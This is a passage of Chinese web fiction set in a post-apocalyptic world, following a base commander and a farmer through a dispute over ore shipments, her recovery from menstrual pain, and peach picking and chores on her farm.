收拾好,看了看衣服没弄脏,他带上钥匙就准备出门,临走前瞥了眼还在睡的时枌,还是留了张纸条让她醒了给他发消息他可以回来做饭,写完压在餐桌上,捡起沙发上手表戴上,又想起冰箱里的冰棒,撇撇嘴,折回去把剩余的二十根冰棒连箱子一起搬下去,开车到了基地后,顺便把冰棒给了基地门口的士兵,让他们分了。
车也留在基地门口停车场,反正他平时不出阳县也用不上车。
本来准备喝支营养液就上楼办公,但想起她昨晚说的话,还是去食堂点了碗牛肉面,吃完才去办公楼。
牛肉面饱腹感比较强,跟营养液有很大的差别,赵弋对食物并不算挑剔,食堂师傅手艺比他爸要好得多,因此一碗面吃的干干净净。
以后阳县就是粮仓,食物会更常见,反而是依赖兰城制造的营养液更不容易获得,他提前转变一下也不是坏事。
办公楼里一如既往忙得要死,赵弋刚上三楼就被副官找上了,让他赶紧上线参加兰城的线上会议。
“会议已经开始一个半小时了。”副官眼含热泪。
言外之意,他已经迟到一个半小时了。
“哦。”赵弋看看手表,“让他们再等半小时,先让南区那边负责人过来。”
副官:“……好的。”
矿山停工,兰城那边已经好几天没收到应该送过去的资源,昨天就安排了今天的线上会议,摆明了是要在会上批评赵弋这种收了物资不干活的做派,结果没想到赵弋一鸽就是俩小时,给他们憋的跑了两趟厕所,脸都绿了。
半小时后赵弋上线看见的就是一张张绿脸。
一开始就受各方谴责他没有按时送矿石煤炭到兰城,一部分装和事佬在中间打圆场,赵弋摘了耳机就对着电脑处理阳县事务,左耳朵进右耳朵出,一点没搭理他们。
直到说起今天送到阳县的一千迁移居民。
南区司令姚山声音疲惫:“人过去了,你那边也有充足的人手,汽油之前也给你补足了,矿石煤炭能按时运过来吧?”
赵弋:“哦,知道了。”
那边一阵沉默。
知道了,而不是马上送过去。
对面绿脸当中就有人咬牙切齿:“你有没有想过没有我们持续送物资过去,阳县能撑几天?”
“哦,随便撑几天,大不了就啃树皮。”赵弋语气更随便了。
照旧是那副摆烂姿态。
可是兰城那边工厂已经开工,之前阳县每天都送大量铁矿石跟煤炭过去,工厂已经按照之前送的量配置好了人手,正准备大干特干一场,只要能维持下去,兰城也不用成天限电。
可是现在赵弋突然断了供应,他们就很难受。
毕竟由奢入俭难。
姚山:“你给个准话,什么时间能把东西送过来!”
赵弋:“不太清楚,矿山上的工人最近在忙别的。”
“不是给你送了一千人吗?!”
“一千老弱病残?还包括三百劳改犯?你是真不怕他们抢了你南区部队的枪,直接把阳县端了啊?”
在兰城混都能把自己混进监狱的人,不是违反军纪就是手里沾了人血,不说丧心病狂,也是没啥人性了,偏偏够不上枪毙,一个个还身强体壮的,为了民心只能养着。
赵弋都想现在派人去路上把运人的车一次性给炸了完事,省得运过来折磨他。
对面又吵了起来,赵弋懒得听,继续翻看文件,偶尔再看看手表有没有时枌的消息。
会议又开了两小时,赵弋抽空一听“就到这里”四个字,首先退出了线上会议,然后叫来副官安排事情,最后瞥了眼时间。
下午四点了。
时枌就算不醒也该饿了。
他干脆下楼,去食堂打包了两份饭菜,昨晚刚吐过她应该不会想吃太油腻的东西,赵弋就给她点了瘦肉青菜粥,自己一份饭菜,如果她想吃菜也能从他碗里顺。
拎着上楼,开门进屋,里面还是安安静静地。
赵弋两手挂着饭站在卧室门口,看着裹着毯子给自己卷成毛毛虫的人,迷迷糊糊扭头过来看向她。
四目相视,时枌在困跟饿之间选择了困,爬起来吃饭。
“还痛不痛?”赵弋问她。
时枌在他把饭放到桌上后伸过手来的时候拉着他的手把自己扯了起来,反正是没啥力气,不想说话。
小腹还是坠坠的难受,整个人都很虚,又饿的不行。
“想吃药。”她有气无力的。
赵弋干脆跟昨天一样把人抱起来,当个人肉坐垫坐在椅子上,面前书桌上是饭菜,他拆开,先晾一晾粥。
蔫蔫的时枌乖的不行,搂着他脖子。
“先吃东西垫一垫再吃药。”赵弋哄着她,看了眼自己的菜,“番茄鸡蛋吃不吃?”
“鸡蛋。”
赵弋就给她夹鸡蛋喂到嘴边。
时枌有了点食欲,扭头,想把自己腿给掰过去,结果发现自己卡在他身上,掰不过去,只能背对着饭菜,幽怨看着他,赵弋就起身给她安置好坐在椅子上,自己顺了把椅子在旁边坐。
这椅子,是木制的。
坐上去时枌屁股就是一激灵。
她现在对凉凉的东西很敏感,一下子就觉得还是赵弋的身子好了。
但忍一忍也就过去,她没矫情地拉他继续当坐垫。
吃着饭,她就好了很多,还能玩手表,回复叶枝蔚的消息。
赵弋在旁边吃饭,偶尔分她一点菜,“一会儿下去,去老中医那边看一看?”
“嗯。”时枌点点头,想起什么,“毯子好像弄脏了。”
昨晚上睡觉不老实,估计衣服也脏了。
真头疼,还得洗衣服。
“嗯,换下来,先泡水,我晚上回来洗。”
“昨天的衣服?”
“我洗了,已经干了。”这倒是提醒他去收衣服,夏天太阳大干得快,得早点收进来,不然衣服都发烫。
时枌就很感动,“还好有你啊。”
赵弋笑了,他先吃完,留她慢吞吞喝粥,去检查床,确实弄脏了,毯子床单都扯下来,沾血的部分泡冷水,再去换床单,枕头套换下来,拿出去晒一晒,趁着还有点太阳。
顺便给她烧了热水,弄完热水也好了,兑成温水给她吃药。
红糖水他是不敢冲了。
吃了药,时枌打了个哈欠,坚强地去换衣服。
再跟着他下楼去医务室。
老中医第一眼看见她还以为见鬼了。
“……虚得跟被人砍了两刀似的。”老中医如此评价。
时枌懒得跟他打嘴仗,伸手给他把脉。
白芳得知她来医务室就过来了,看见她这样子担心的不行。
“她二十天吃了八十三根冰棒。”一边的赵弋语气平静地阐述。
“哟,难怪。”老中医一下子就笑了。
白芳看时枌的表情怜
悯变成了七分怜悯三分活该。
“还是要注意啊,虽然天气热,但是也不能吃这么多,对牙齿也不好的。”白芳说。
说到牙齿,倒是提醒了赵弋。
“下次去兰城带你去牙医那边检查一下。”
时枌:“……你好多事。”
刚刚还说还好有他,下个楼就变成他好多事了。
“最近就别吃冰了,我也没办法给你开药,我这里药都不全,开了也没有,”老中医说,“回去多吃肉,好好养养身体,注意保暖就没问题了。”
“可是我以前都不痛,来阳县才痛。”
她竟然试图把痛经归结于换了地方水土不服。
老中医:“……你崴了脚,本来气血虚,又吃那么多冰,平时身体好还扛得住,一下子就亏了,扛不住,所以格外痛一点,回去多吃肉,补一补。”
时枌想了想,自己平时在农场的话吃的肯定是有保障的,但是来阳县就开始三餐不规律,偶尔就用营养液垫一垫。
“所以还是阳县的问题。”她坚定道。
老中医扭头看赵弋,“你怎么教的?”
赵弋:“……”
100-110
第101章 第101章赵千嶂的儿子要回去种……
赵弋谨遵医嘱,留时枌在这边喝红枣枸杞汤,医务室里白芳老中医跟她,一人一杯,糯糯因为年纪小不用喝就在旁边整理药材,他回了趟家,把冷冻的羊腿拿给了食堂后厨,让他们给时枌留着平时做菜用,还是老规矩,他到时候来结账。
给时枌叮嘱完好好吃晚饭,赵弋准备上去加班了。
老中医指指旁边保温杯:“要不赵指挥也来一杯?都给你泡好了。”
赵弋:“我不用。”
老中医开始卷袖子,“来,把把脉。”
他熬了一晚上黑眼圈都出来了,还被线上会议折磨,气色真不比时枌好多少。
赵弋一声不吭拿了保温杯就出去了。
时枌抱着保温杯目送赵指挥出去,躺在医务室舒服的躺椅上。
这个躺椅是纯竹子做的,而且因为使用时间长竹子都泛着油光,一点都没有毛刺,扶手位置还能调节靠背的角度,甚至还有一个搁脚的地方,可以说是非常完美的躺椅了,比时枌农场里的那个要好得多。
她小时候睡农场的躺椅就刚刚好,还能在上边翻滚,但现在她长大了,伸出半截腿无处搁置,每次还要搬个小板凳来,就显得很麻烦。
“这个躺椅在哪买的啊?”时枌羡慕地问老中医。
老中医:“末世前的玩意儿了,这年头没这东西卖。”
时枌一听更稀罕了。
“你有多的吗?卖我一把吧。”
老中医瞥了她一眼,鼻孔出气,“想得美。”
这就是不肯卖的意思了。
时枌觉得很可惜,借着自己身体虚还崴了脚,在躺椅上赖了一个多小时才起身活动。
先做康复训练,活动活动左脚,给她累出一身汗来,白芳在旁边扶着她也累的够呛。
不过做完她倒是感觉左脚麻麻的,似乎明显有好转。
然后她就告别医务室,拄着拐杖去看看基地外停车场的菜地。
这片地她带着老刘那个排的一群人开地、围栏杆、播种到现在已经有了菜园的雏形。
当初她给他们的也是一些这个季节适合种的青菜,还有就是大蒜小葱韭菜之类。
虽然天气热,但他们这些士兵对菜园倒是很上心,不辞辛苦地浇水拉遮阳网,直到种子发芽,大蒜小葱也冒出了芽,因为天气太热,土地很容易晒干,最近他们也安排了人轮班浇水。
菜地倒是养的不错,一棵杂草都没有,干干净净,遮阳网也是拉的整整齐齐。
时枌趴在栏杆上看菜地里刚发芽的那一点绿,十分欣慰。
一转眼,就看见几个门口负责安检的士兵叼着她熟悉的冰棒。
“时枌啊,不吃晚饭吗?食堂快没饭了。”其中一个叼着冰棒的士兵跟她打招呼。
时枌经常在基地晃悠,跟他们有着一起八卦的革命情谊,碰见谁都能招呼两声。
“我吃过了,晚点再去吃。”时枌说着,目光始终落在他们冰棒上。
根本挪不开。
她这眼神意思实在太明显,士兵都有些不好意思,抓抓自己的平头:“要不给你……”
“咳咳,赵队说了,不能给她吃。”旁边另一人提醒。
时枌就知道他们手里的冰棒是从哪来的了。
她装出大度的样子:“我最近肚子不舒服,吃冰棒会拉肚子,就算了。”
大方体面地应付回去,然后装作若无其事地样子继续看菜地。
心里已经怒火中烧。
赵弋还真的把她的冰棒都送人了!
没经过她同意就送人了!
就算她现在不能吃,等月经走了也能吃啊!
时枌气得给赵弋发消息:你今天别回来睡。
本来昨天他也不应该回来睡!
省略虽然但是,只看结果,就是他的问题。
时枌在基地逛了一圈,跟巡视自己领地似的,饿了才去食堂吃饭。
今天吃羊肉抓饭,有胡萝卜有米饭有羊肉,不算正宗,但是她以前没吃过,反正很好吃,她叫上叶枝蔚一起一人吃一大碗。
“我今天看见基地好多生面孔啊。”时枌说。
“是赵队带回来那些人?”
“陈老七他们?这个我知道,我是说他们士兵里面,有几个我好像从来没见过。”
时枌记忆力还是不错的,今天逛基地就发现好几个她对不上脸的。
“哦,那是之前在矿山上南区部队的人,抽调一部分来基地负责巡查工作。”
“这样啊。”
是想用这种方法招揽他们?
“明天兰城那一千人就要到了。”叶枝蔚说。
那一千人本来早早就要送过来的,听说是赵队一直拖,才拖到明天。
“他没中途埋伏把他们运输车给炸了我就很欣慰了。”时枌想起赵弋办公时的臭脸,吐槽了一句。
叶枝蔚:“……”
怎么说呢,炸运输车这种事,像是赵队会干的出来的。
因为赵弋回基地第二天,就叫人把两座矿山的运输车里的汽油全部抽了出来,彻底让矿山“停工”。
尽管汽油保质期不长,只有几个月,但这些汽油也足够他们阳县内部用了,——只要不运矿石,他们自己汽油消耗量并不高。
没了汽油,南区部队那群人就算是想运过去也没办法,一堆运输车在山脚下趴窝。
羊肉拌着米饭,时枌吃的很香。
“你今天不痛了吧?要不要再买点止痛药上去?”叶枝蔚问。
“不痛了,我现在胃口好的很。”
可能是昨天吃的少,晚上吐过,今天起床又只喝了粥,所以时枌这一顿饭格外饿,一大碗米饭跟羊肉都吃完了。
“那就好,下次要是还痛记得吃药啊。”
时枌很乖地点头。
现在叶枝蔚负责巡查工作,新加入了一部分南区部队的人,她得调整排班,所以吃完饭就得去加班了,时枌闲着也是闲着,周霓要跑场地监工,她不适合去,倒是可以跟着叶枝蔚一起。
叶枝蔚反正也是一个人,就带她去了办公室,给了她一罐糖,时枌没了冰棒,还有糖果解馋,心情一下子就舒畅了。
叶枝蔚的办公室不在办公楼,在基地另一栋楼里,这一栋稍微矮一些,工作人员也少,进进出出都是穿军装的人,跟办公楼那边的制服不太一样。
两人在办公室坐了会儿,去另一个部门办事的路上碰到陈老七,陈老七看见时枌第一反应是扭头不见,想起什么,跑过来叫住她。
时枌:“嗯?还想比?”
陈老七:“不是。”
他还有点不好意思。
“我们家把那个榨油厂盘下来了,我听秦副指挥说你有农场,还有菜籽,如果你需要可以来我家榨油,还有就是……我们家打算包几亩地种菜籽花生,现在还没有种子,看这个季节你
应该已经收了菜籽,可以的话能不能卖一些种子给我们?”
他倒是很清楚油菜花的播种收获时机,而且说话也挺清楚,前因后果都解释了,还说了自家的计划,算是相当坦诚。
叶枝蔚也想了起来,低声在时枌耳边解释:“赵队是听说他们家会榨油才收他们来阳县的。”
以前的赵队还管什么榨不榨油的,他靠营养液就能活,费心思招一家会榨油的人来阳县为了什么可想而知。
时枌正愁自家那些菜籽,堆着占地方看着就心烦,之前她还可惜阳县榨油厂机器喂了丧尸,结果就有新人来了。
“行,下个月我回农场就把菜籽运过来,到时候再看你们需要多少种子。”
九月中就要开始播种油菜了,这段时间他们也得开垦打理土地,看陈老七说的这么有条理估计他们家都清楚该怎么种,时枌就没多解释。
陈老七:“行,我回去就跟我爹说。”
两人在手表上加了联系方式,陈老七就被叫去巡查了。
一桩心事了,时枌心情更好了,跟着叶枝蔚办完事,再回办公室。
叶枝蔚的办公室没有两台电脑,时枌就拿了张纸,抽了根笔写写画画。
再过几天她一定得回农场收玉米跟水稻了。
菜园这么久没打理,还有小马也没有训,本来鸡蛋鸭蛋说好是给罗辉一家吃的,但他们家不肯要,都给她收好了,估计现在也挺多了,回去还能腌咸鸭蛋。
马场附近的树桩她还没挖干净,估计下个月天气就要凉快,她得赶在冬天到来之前清理了。
还有之前出任务定位的一处花园,里面有好多她没有的花花草草,得在下霜前去挖回来。
桩桩件件都是力气活。
出来太久,她还是第一次离开农场在另一个地方待这么长时间,真的挺想念的,——虽然她今天才回去过。
时枌看看自己不争气的脚,试着压下脚尖,还是有点痛痛的,使不上力气的感觉,看来要恢复还需要一点时间。
哎。
生活不易。
不过好在她有赵弋。
看看手表,消息还停留在她之前发过去的“你今天别回来睡”,他回了个问号。
时枌犹豫半晌,还是打字发消息:你今天可以回来睡。
那边很快又回来一个问号。
时枌很直接:我得回去收玉米了。
赵弋:懂了。
赵队懂的很彻底。
在第二天兰城迁移的一千人到达后,他迅速安置了普通居民,再把那三百劳改犯中二百五送回去了两个矿山让南区部队的人看着挖矿,只留五十人交给农业部开地。
南区部队的人要是没看好这群人,出了事,那就是他们南区自己的问题。
反正矿山离得远,如果这群犯人出了什么问题,离基地也有段距离,足够他们反应。
这一招打得南区那边措手不及。
一部分被抽调到基地巡查的十分庆幸自己提前离开了这个大雷,留在矿山忠于兰城的那部分则是瞬间被紧了皮,疯狂动用自己的人脉关系让兰城赶紧送弹药过来。
两座矿山上热闹起来,而基地办公室经过调整已经熟悉了现在的运作模式,有条不紊地各忙各的。
赵弋安排完,就给自己请了长达半个月的长假。
兰城那边收到请假申请的时候看见申请理由狠狠沉默,然后转给了赵弋曾经的顶头上司老严。
老严戴着老花镜,看清了那一栏清楚地写着收苞谷三个字,花了足足五秒才反应过来。
哦,赵千嶂的儿子要回去种地了。
第102章 第102章时枌最需要的还是他这……
黑色越野车在柏油路上疾驰,短暂油门轰鸣后咻地一下从视线中掠过。
行李不多,对赵弋来说,入赘只需要带上几套衣服就行了。
毕竟时枌最需要的还是他这个牛马。
在阳县休息将近一个月,时枌人都捂白了不少,脚现在能点地蹦哒,但是长期走路还是需要拐杖,所以她把拐杖也带回来了。后备箱放着她带去阳县的行李,后座上明显肥了一圈的虎子跟大熊一狗占据一个车窗伸出狗头往外看吹着风,直到车靠近农场,它俩看见农场后就开始激动地扒拉车门汪汪叫起来,时枌就给它们把车窗升上去了,避免它俩太激动真的跳车。
没多久到家了,赵弋下车拉开护栏,同时把虎子大熊放了出去,这两只瞬间就飞奔出去,抖动一身肥肉在马场奔跑,动静引来旁边吃草的牛,估计是罗辉家的。
看来最近农场附近还算安全,罗辉都敢把牛放出来吃草了。
赵弋重新上车,把车开到后门去树荫下停好,才下车拿东西。
时枌下车后抽出拐杖,抬头望去,巡视自己的领地。
“你上楼收拾东西,顺便把楼上楼下打扫一下,我看看农场。”时枌吩咐道。
这语气,跟赵弋平时在办公楼基本没差别。
而这里,就是时枌的办公楼。
虽然牲畜们都有罗辉家帮忙喂,但整个农场的打理也不只是喂食。
一个月不见,马场长了不少草,竟然还有几分郁郁葱葱,跟她开地之后的样子截然不同。至于菜园,马场附近的土豆红薯地还有种实验种苗的地还算绿油油,都还活着,只是被太阳晒的发蔫,耷拉着。但她之前收割过的、房屋附近的菜地就不一样了。
菜地作物基本干死,一片枯黄,尤其是她的番茄苗,叶子晒伤严重,大部分番茄苗只是主干上挂着几颗番茄,叶子看上去都脆了,瓜果的叶子长得也很磕碜,叶子七零八落的,沿着主干的瓜都露了出来,有不少瓜都被小动物吃了,不知道还剩多少,不过这段时间新成熟的南瓜黄瓜非常多,丝瓜都老了,时枌估摸着收获这一批瓜果一部分留着自己吃,一部分卖给阳县。
说到瓜果,变化最大的还是她家院子前的那棵巨大的桃树,之前高压下来的五棵小桃树三棵她种到了别的地方,两棵送给了罗辉家,那都得三四年才能大量结果,但她家这一棵大桃树,现在每年到这个季节都是硕果累累,密密麻麻的桃子能把树枝都压断。
还好这段时间没怎么下雨,而且她之前还疏过果,不然雨水加上这么多桃子肯定要把树枝压断。
其余的李子树、无花果、枇杷树上也挂了一批果子。
肯定是罗辉家不好意思摘 ,不然也不至于留这么多。
时枌现在腿脚不方便,不太适合参与割水稻这种需要弯腰的活,掰玉米她倒是可以坚持一下,至于今天,她打算先把这棵桃树好好修理一番,避免之后万一下雨折断树枝。
时枌说干就干。
去工具房拿了手套帽子剪刀,再拿两个竹篮一个布袋,招呼虎子回来帮忙提东西,虎子就带着家里的三个小狗崽一起过来了。
乍见时枌这个主人,小狗崽还有些面对陌生人的紧张,呜汪呜汪叫了两声,被虎子凶了之后倒地露出肚皮一阵嗷呜嗷呜求饶就好了。
“长这么大了。”时枌感慨。
每个小狗肚子都是鼓鼓的,看来罗辉家把它们照顾的很好。
一个个把狗头摸了一遍,时枌才脱了鞋,爬上树去。
这个季节桃树上全是桃胶还有蚂蚁,虫子也有不少,桃子没人打理,大部分都是有虫洞的。
水蜜桃因为甜度高,更容易招虫子,所以时枌上树主要是把那些烂的不行的剪掉,然后收起来给鸡吃,还能给鸡开开荤。
一个个烂桃子掉到水泥地上,啪唧啪唧的,砸的稀烂,一些相对完整的就被时枌收好,放进随身系着的布袋里,准备收回家自己吃,碰到那种被虫蛀得不行的枝干,她就连树枝一起修剪了,减轻桃树的负担。
她左脚受伤,爬树还是没问题的,尤其是桃树这种枝桠相对多,很多落脚点的树,而且在树里面,有树叶遮挡,还挺凉快。
爬着爬着,就到了高处,低头就能看见底下虎子跟大熊还有三只小狗仰头看着她,它们看了没多久就低头扒拉烂桃子,时不时咬两口。
时枌笑了起来,再抬头,隔着树叶,对上二楼阳台拿着毯子出来晾晒的赵弋。
他拧眉抿唇,直直盯着她,一副恨不得当场给她从树上薅下来的架势。
时枌:“……”
“我剪完桃子就下去。”她对着他喊了一句。
赵弋冷哼一声,进屋继续打扫卫生了。
时枌坐在树枝上忙活半天,被蚂蚁咬得痒的不行,勉强处理完高处的桃子,才爬下去。
低矮的地方桃子都把树枝压低了,站在凳子上就能摘到,所以她不用上树剪。
满地烂桃子,已经招来了不少蚂蚁。
时枌平稳落地,抖了抖衣服,再去把扫帚拿过来,烂桃子扫进簸箕,丢到鸡栏里喂鸡。
再去牵水管冲洗院子前的水泥地,顺便冲冲脚,冲干净后她就赶紧去洗澡了。
时枌上二楼时,赵弋已经把二楼沙发柜子都擦了一遍,地也拖了,一片干净,以至于时枌赤脚蹦上楼时给地面留了一串脚印。
刚刷完凉席准备晾的赵弋看见:“……”
时枌脖子上一片被她自己挠出来的红痕,赶紧去翻了套衣服,钻进浴室冲洗。
因为水压不够,二楼是没有自来水的,平时都是得拎水上来,赵弋为了打扫卫生拎了一桶水,洗过抹布,时枌衣服都脱了才发现没水。
在阳县习惯了自来水,她忘了这回事。
她拿浴巾裹着自己,打开门露出一个脑袋,朝人笑笑:“我要洗澡,能不能帮忙拎桶水上来?”
“等会儿洗,热水还没烧开。”他生炉子就用了不少时间。
“不用热水,冷水就行。”
大夏天的,洗个冷水澡也没什么。
“你月经刚过去,能洗冷水澡吗?”
“那我擦一下,刚刚爬树一堆虫子咬我。”
“谁让你爬树?”脚都没好就敢爬树,她怎么不上天?
时枌撇撇嘴,只催促他,“快点拎水。”
现在当然是她洗澡更重要,赵弋放下手里的活,下楼拎了桶水到浴室门口,又去阳台拿拖把把地拖了一遍,那桶水就被她拎进去了,里面传来断断续续的水声。
这明显就不是擦洗的水声,肯定是用毛巾过水往自己身上淋。
赵弋撑着拖把原地站着看着浴室门,憋了半天,咬完牙深深叹了口气,就去擦她卧室的桌子了。
还有她墙上挂着的枪,都落灰了。
擦了半天后,他才发现鸡毛掸子,他不知道这东西有什么用,出于好奇,拿起来顺手往书架上打了一下,惊讶发现书上那些不好擦的薄灰一下子就不见了,沾到了鸡毛掸子上。
赵弋活了快三十年,终于知道原来鸡毛掸子不是装饰品也不是小时候他妈抽他的武器,而是一款超强的除尘工具。
扫完灰,再去窗户外抖一抖,就完事了。
比他辛辛苦苦打湿抹布擦要干净得多,而且不会留下水迹。
时枌洗完澡出来,就看见赵弋拿着一把鸡毛掸子这里扫那里扫。
她平时就是这样打扫灰尘的,所以并不觉得有什么奇怪,这会儿就打算把自己换下来顺手搓了的衣服拿到阳台去晾晒。
赵弋拦在她身前,“你不觉得,我很聪明吗?”
他举着那把鸡毛掸子。
时枌不太明白:“你指的是拎水?”
“不是,是这个,我刚发现这个东西的用法,你看这层灰……”
时枌一下子就明白了他想说什么,“哦,所以你知道我家为什么会有这个吗?”
赵弋愣住。
“有没有一种可能,我平时就是这样用的呢?”
“……”
他一定是被她之前的行为气得脑子坏了,才会想在她面前炫耀这个。
时枌憋着笑,“你打扫完了吗?楼下可以明天再弄,你先跟我去把桃子摘了,送一些去罗辉家打打招呼。”
“好。”
赵弋将鸡毛掸子放归原位,就跟她下去了,当作刚刚一切从来没发生过。
之前水泥地上的水已经快被晒干,旁边竹篮里放着她摘下来的好桃子,她跟赵弋现在再处理这些低矮的。
“好的留着自己吃,烂的丢旁边簸箕里喂鸡。”时枌说。
桃树上的虫子特别多,特别特别多,时枌已经习惯,但赵弋是头一回见,看着从大桃子里钻出的虫子一阵恶寒。
他平时再血腥的场面都见过,但对这种白白胖胖会蠕动的小玩意接触甚少,光是看着就让他头皮发麻。
还好这些都要喂鸡。
一整棵桃树要摘光工程量可不小,尽管大部分都有虫,但相对完整能给人吃的一小部分也不少,摘下来两个竹篮很快就装不下,摞得高高的,跟小山堆一样,只能再拿个竹篮来装,赵弋先去把烂桃子丢给鸡鸭吃,力气活基本上都是他来。
两人花了两个小时才算简单处理完,桃树明显轻松了不少,原本被硕果压低的树枝都反弹了回去,时枌就带着赵弋,把一篮完好的桃子送到罗辉家。
他们家小孩多,桃子肯定消耗快。
这次罗辉也没再推辞,笑着接下,又给他们送了两条鱼,说他们刚回来肯定没食材做饭,正好他今天钓了不少。
时枌也欣然接受。
晚饭就这么定好了,红烧鱼,鸡蛋炒番茄,再蒸点米饭,给虎子大熊和小狗蒸红薯,打个蛋花汤,再加一些小鱼干就差不多了。
当然,做饭这件事,是时枌指导赵队做的。
毕竟赵队下厨经验少,急需锻炼。
第103章 第103章难道要睡我床上吗?……
饭后一人削了个桃子,坐在院子门口乘凉。
水蜜桃水分足,容易烂,不适合储存,时枌已经尽量挑足够硬的摘下来了,但还是吃的满手都是桃汁,淅淅沥沥的,招蚂蚁。
她看着那一大堆桃子头疼。
自己吃肯定是吃不完的,而且这个品种桃子也不适合做成桃干。
那就趁明天阳县食堂来收菜,让他们把这些桃子带回去基地里的人分了算了。
这么想着,时枌扭头看赵弋:“你给食堂发消息了吗?”
赵弋:“发了,明天中午午饭后过来。”
“那别歇着了,跟我去把菜地的菜收了,草扯一扯,丢到堆肥框里堆肥,哦对,堆肥也得翻了。”
之前修建马场的时候她就在土豆地旁边建了两个堆肥的框,简单用木头搭起来的围栏而已,平时拔的草或者扯的菜就会都丢进去,晒一晒它们就会萎蔫,时间长了就会自己变成肥,只是她现在没有条件,如果能撒一些帮助发酵的菌,这个肥会更快一些。
杂草堆肥只能缓解她农场一部分的肥料需求,另一部分就只能靠牛羊鸡鸭粪便,但这些,其实都没烧丧尸沤肥来的快。
真希望哪天会有一波丧尸主动送上门。
时枌农场这边框子很少,不太方便收菜,她在心里记下一笔,下次让食堂给她这里留一些框子。
今天摘的都是瓜果,青菜得明天食堂的人到了再摘,避免放一晚上不新鲜。
“那些老了的就留着哦。”时枌叮嘱道。
她的脚不影响她
在菜地转悠,她不方便弯腰蹲下,就负责爬墙的丝瓜豆角,赵弋则是负责地上的甜瓜西瓜南瓜。
经过这段时间,最后一批甜瓜跟西瓜也成熟了。
时枌喜欢吃那种嫩嫩的南瓜,清炒就足够好吃,也喜欢吃那种老南瓜,清蒸就行,软糯香甜,赵弋就多留了几个等它长老。
这些菜摘了就放在院子里,反正也没人来偷。
不过烈烈跟阳阳倒是过来玩,帮着时枌一起摘菜,阳阳抱着跟她差不多大的冬瓜惊叫:“好凉快啊!”
时枌让赵弋拿抹布把冬瓜擦一擦,避免冬瓜上的毛毛扎到他们。
这个冬瓜就给他们俩小孩玩了。
他们轮流躺在上边消暑。
天黑之前时枌跟赵弋把菜园处理好,扯掉的瓜藤丢到堆肥框,赵弋顺便把堆肥框翻了一下,看见底下已经变黑腐烂的枯枝败叶,还有不少蚯蚓在其中,大概知道了这个堆肥是如何运作,把之前覆盖上的新鲜绿叶翻到下面,方便地面上的蚯蚓跟虫子来分解。
等他翻完回来,时枌也摘了一棵枇杷树,揪了两个完好的无花果给烈烈阳阳吃。
“谢谢时枌姐姐!”两个小孩甜甜地说。
“不用谢,以后你们想吃随时过来。”
“嗯嗯!”阳阳两手捧着无花果,小心翼翼剥皮,很快就是一股明显的香甜气息,她人都快醉了,“时枌姐姐我们明天要去钓小龙虾,你要一起吗?我今天挖了很多蚯蚓哦!赵弋哥哥也一起?”
看见赵弋过来,阳阳很机灵地叫上了赵弋。
“得问她。”赵弋说。
“不行哦,明天我们要去收玉米跟水稻,改天吧!”今天刚回来只是休整跟打扫屋子,明天可是要干正事了。
而且这一部分水稻还能卖给阳县食堂的。
“那行吧!后天我再来问!”阳阳笑着说。
天彻底黑了,烈烈跟阳阳就回家去了。
农场没有电,天黑了就看不见,还得去点蜡烛。
习惯了城里电灯泡的时枌终于发现自己家里的蜡烛亮度十分有限,甚至显得有几分昏暗。
赵弋手里端着根蜡烛,扶她上楼。
蜡烛都是她自己用蜂蜡或者是其他东西做成的,杂质其实很多,做的比较简单,她蹦的时候蜡油滚下来落到他手上,烫了一下,赵弋没在意,最后几步楼梯俯身圈着人腰带了上去。
“真麻烦啊。”时枌感慨。
二楼黑漆漆,赵弋把蜡烛放到茶几上,又去把二楼书柜上玻璃瓶里的蜡烛点燃,客厅才亮起来。
“你先洗还是我先洗?”赵弋问她。
“我先洗吧,我冲一下就好了,很快的。”下午又干了活儿,身上肯定弄脏了,而且睡前也要换睡衣。
赵弋就帮她把睡衣拿过来,“那我先去铺床。”
清洗的凉席枕套还没铺。
赵弋这个牛马,从早干到晚,铺完床,又把蚊帐放下来,拿着蜡烛看里面有没有蚊子,有的话就用扇子赶出来,再关严实了。
出来时看了眼客厅的沙发,眼神幽怨。
她家的沙发比较小,属于正好躺他一个的长度,更别提翻身,人躺上去稍稍动一下就会掉下来。
她应该不会让他睡这个沙发吧?
正好时枌洗完澡出来,边扎头发边对他说:“还剩半桶水,你要是不够……那就自己再拎吧。”
她差点忘了自己的脚,还打算说她去拎。
赵弋应了声,就进去洗了。
时枌刚洗完脸,去阳台吹吹风,发现阳台晾晒的东西都被收了进去,家里也是干干净净,再去自己的房间看,啧,那叫一个赏心悦目,就连蚊帐都给她放下来了,书桌上的蜡烛也被点燃。
赵弋干活就是细心。
时枌去挑了本书带进蚊帐,就着光亮看。
不是她有多爱看书,单纯就是看书比较助眠,不然以她现在刚回家的兴奋劲很难睡着,而明天一早还要去收玉米水稻。
她趴在床上手支着脑袋翘着腿,书放在床上,时不时翻动。
看到连环画上孙悟空被压下花果山后,门口传来动静。
赵弋脑袋上顶了条毛巾,一身清爽,人高马大站在她房间门口,看着她。
“我睡哪?”他问。
时枌继续翻看,“沙发。”
“太小了,睡不下。”
时枌这才抬眼,看见客厅沙发的一角,心想确实有点小,赵弋这体格睡上去肯定憋屈,于是想了想,又说:“楼下?你房间。”
“今天没来得及打扫。”
他一整天都在被她使唤,只打扫了二楼,一楼还没来得及。
时枌抬起头,“那隔壁?”
赵弋跟她对视:“没蚊帐。”
“那你这样说,我家里也就只有我房间有蚊帐了。”
多的蚊帐她都送给罗辉家了,现在就算是叶枝蔚他们来了也得睡没蚊帐的。
“那怎么办?”他问。
“怎么办?”时枌低头看连环画,“难道要睡我床上吗?”
“行。”
赵弋就进屋了,顺手带上了门,脑袋上的毛巾擦了擦不再滴水的头发就晾到了椅子上,抬手掀起蚊帐。
时枌:“你干嘛?”
“睡觉。”
“蚊子进来了!”
“哦。”
他就已经进来了。
时枌这张床睡两个人绰绰有余,但他一进来,时枌就觉得这床有点小,可能跟他这么大个人有关。
本来能在床上翻来滚去的时枌只能滚到床头,继续看连环画。
但问题是,她是横着趴的,赵弋也只能占据下半张床。
对于一个一直正常睡床的人来说,时枌这种横行霸道的睡法让他无所适从。
他只能坐在旁边,俯身看她手上的书。
然后就看见一只猴子举着棒子追着妖怪打。
……什么好人大晚上看西游记啊。
“明天不是要收玉米么?”他问。
“嗯嗯,收的。”时枌头也不抬,沉迷连环画无法自拔。
赵弋:“……”
要不他也去找本书看看算了,还能平心静气,助眠。
但也只是想想,他一腿盘着,一腿伸长,手撑着凉席俯身跟她一起看,很快……腿就麻了。
而且西游记这种故事他小时候看漫画看动画,都了解的差不多了,现在根本没什么兴趣。
“没看过动画片吗?”赵弋问她。
“什么动画片?”
